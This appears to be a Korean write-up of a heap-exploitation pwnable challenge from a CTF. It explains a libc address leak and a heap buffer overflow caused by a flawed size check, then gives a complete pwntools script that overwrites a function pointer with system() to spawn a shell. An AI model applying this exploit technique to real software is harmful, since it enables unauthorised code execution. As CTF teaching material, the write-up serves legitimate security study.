제 30회 해킹캠프 CTF에 출제된 pwnable 문제인 very normal device를 풀이한다.
장치 자료구조를 관리하는 프로그램으로, 자료구조를 생성한 후 장치 이름과 데이터를 저장할 수 있다. 또한 장치들은 링크드 리스트로 관리된다.
보안 기법은 모두 걸려있다. 특히 Full RELRO
이므로 GOT Overwrite는 어렵다. 그리고 내부에서 malloc()
, free()
를 지속적으로 호출한다는 점, 자료구조 내에서 함수 포인터를 사용한다는 점을 보아 힙 익스로 함수 포인터를 덮는 것을 짐작할 수 있다.
장치 자료구조 생성은 1번 메뉴로 진행한다. 프로그램에서는 initialize_device
함수를 호출하며, 해당 함수 내에서는 0x48byte만큼의 공간을 동적 할당 및 0으로 초기화한 후 필드를 설정한다. 이때 dev_chk
, free_ptr
함수 포인터가 각각의 함수의 주소로 설정된다. 그리고 data_remain_sz
는 0x48로 초기화된다.
struct dev {
struct dev *next; // 0x0
_DWORD uid; // 0x8
_DWORD pad0; // 0xc
char name[0x10]; // 0x10
_QWORD free_ptr; // 0x20
_QWORD dev_chk; // 0x28
_DWORD ref_cnt; // 0x30
_DWORD data_cur_off; // 0x34
_DWORD data_remain_sz;// 0x38
_DWORD pad1; // 0x3c
_QWORD data_ptr; // 0x40
};
코드를 분석하면 자료구조가 위와 같이 구성되며, device
라는 전역 변수가 링크드 리스트의 head임을 파악할 수 있다.
이 문제에서 libc 주소를 leak하는 방법은 두 가지가 있다.
해당 프로그램에는 자료구조의 정보를 출력하는 함수가 존재한다. 이 함수에서는 자료구조의 각 필드를 출력하는데, 이때 name
필드를 유심히 보자.
자료구조 생성 과정에서 name
필드는 최대 0x10byte를 입력받을 수 있다. 이때 앞에서 소개한 자료구조에 따르면, name
필드 이후 free_ptr
포인터가 존재한다.
만약 name
필드를 0x10byte만큼 null이 아닌 값으로 채운다면, printf() 호출 시 free()
함수의 주소를 leak할 수 있다.
이 문제에는 장치 자료구조와 동일한 크기(0x48byte)의 영역을 할당한 후 데이터를 작성하는 기능이 포함되어 있다. 이때 할당 후 별도의 초기화를 하지 않으므로 UAF
가 발생한다.
그리고 그 데이터를 출력할 수 있는 기능 또한 존재한다.
순서는 위와 같다. 먼저 장치 자료구조를 할당하면 free_ptr
필드에 free()
함수 주소가 저장된다. 그리고 이 자료구조를 할당 해제한 후(7번 메뉴), 데이터 블록을 할당해 free_ptr
필드 직전까지 더미 바이트를 채운다. 그리고 데이터 블록 출력 기능을 통해 free()
함수의 주소를 leak한다.
사실 이 취약점은
free()
뿐만 아니라dev_chk()
함수의 주소도 leak할 수 있으므로 PIE bypass가 가능하지만, 익스에 도움이 되지 않을 뿐더러 과정도 번거로우므로,printf()
함수를 이용한 leak을 하는 방법을 선택했다.
데이터를 입력할 때 먼저 입력 크기 data_size
를 지정한다. 최대 71byte까지 가능하며, 크기를 인자로 register_device_data()
를 호출한다.
register_device_data()
에서는 입력받은 data_size
가 data_remain_sz
필드와 동일하다면 BOF를 탐지한다. 그리고 데이터는 data_ptr + data_cur_off
필드부터 작성되며, 작성 후 쓰인 크기만큼 data_cur_off
는 증가하고 data_remain_sz
는 감소한다. 즉 data_remain_sz
는 데이터 블록의 가용 크기임을 알 수 있다.
이때 data_remain_sz
와 data_size
를 비교하는 로직을 확인하면, data_remain_sz >= data_size
가 아닌, data_remain_sz == data_size
로 비교한다. 따라서 data_size
가 data_remain_sz
보다 커도 BOF로 탐지되지 않아 최종적으로 Heap Buffer Overflow
가 가능하다.
RCE를 트리거할 때 4번 메뉴를 사용한다. 이 메뉴는 uid
로 지정한 장치 자료구조에서 data_ptr
필드를 인자로 dev_chk
함수 포인터를 호출한다. 이때 data_ptr
을 "/bin/sh"
로, dev_chk
을 system()
으로 조작한다면 system("/bin/sh")
를 호출할 수 있다.
아래의 과정을 거쳐 위와 같이 힙 익스를 수행한다.
1) 데이터 블록 할당한 후 71byte만큼 더미 바이트 저장
한번에 쓸 수 있는 최대 크기가 71byte
2) 장치 자료구조 할당
3) 데이터 블록에 57byte만큼 바이트 저장
9byte로 청크 헤더 끝까지 덮기
48byte로uid
필드와dev_chk
필드를 각각20
,system()
으로 저장
4) 데이터 블록에 24byte만큼 더미 바이트 저장
data_ptr
필드를 "/bin/sh" 문자열 주소 저장
5) 장치 uid 20
의 데이터 출력 메뉴(4) 호출
dev_chk(data_ptr)
=>system("/bin/sh")
"""
struct dev {
struct dev *next; // 0x0
_DWORD uid; // 0x8
_DWORD pad0; // 0xc
char name[0x10]; // 0x10
_QWORD free_ptr; // 0x20
_QWORD dev_chk; // 0x28
_DWORD ref_cnt; // 0x30
_DWORD data_cur_off; // 0x34
_DWORD data_remain_sz;// 0x38
_DWORD pad1; // 0x3c
_QWORD data_ptr; // 0x40
};
"""
from pwn import *
p = process('./very_normal_device_srv')
libc = ELF('./libc.so.6')
def select_menu(menu, dev_uid):
p.sendlineafter(b'Close device\n', str(menu).encode())
p.sendlineafter(b'your device\n', str(dev_uid).encode())
# libc leak
# create dev1
select_menu(1, 10)
p.sendafter(b'name\n', b'A'*0x10)
# show info
select_menu(6, 10)
p.recvuntil(b'A'*0x10)
free = p.recvline()[:-1]
free = u64(free.ljust(8, b'\x00'))
libc_base = free - libc.symbols['free']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1cb42f
print('libc base:', hex(libc_base))
print('system:', hex(system))
print('/bin/sh:', hex(binsh))
# heap overflow
# create data1 for dev1
# heap memory: [hdr|dev1][hdr|data1]
select_menu(3, 10)
p.sendlineafter(b'device data\n', b'71')
p.sendafter(b'Submit the data\n', b'A'*71)
# create dev2
# heap memory: [hdr|dev1][hdr|data1][hdr|dev2]
select_menu(1, 20)
p.sendafter(b'name\n', b'B'*0x10)
# overflow the data1
payload = b'A' # data1 last byte
payload += b'B'*0x8 # dev2 chunk header overwrite
payload += p64(0) + p32(20) + p32(0) # next, uid, pad0
payload += b'C'*0x10 # name
payload += p64(free) + p64(system) # free_ptr, dev_chk
select_menu(3, 10)
p.sendlineafter(b'device data\n', b'57') # len(payload)
p.sendafter(b'Submit the data\n', payload)
#overwrite the data_ptr to "/bin/sh" address
payload = p32(0) + p32(0)*3 # ref_cnt, data_cur_off, data_remain_sz, pad1
payload += p64(binsh) # data_ptr
select_menu(3, 10)
p.sendlineafter(b'device data\n', b'24') # len(payload)
p.sendafter(b'Submit the data\n', payload)
# trigger RCE
select_menu(4, 20)
p.interactive()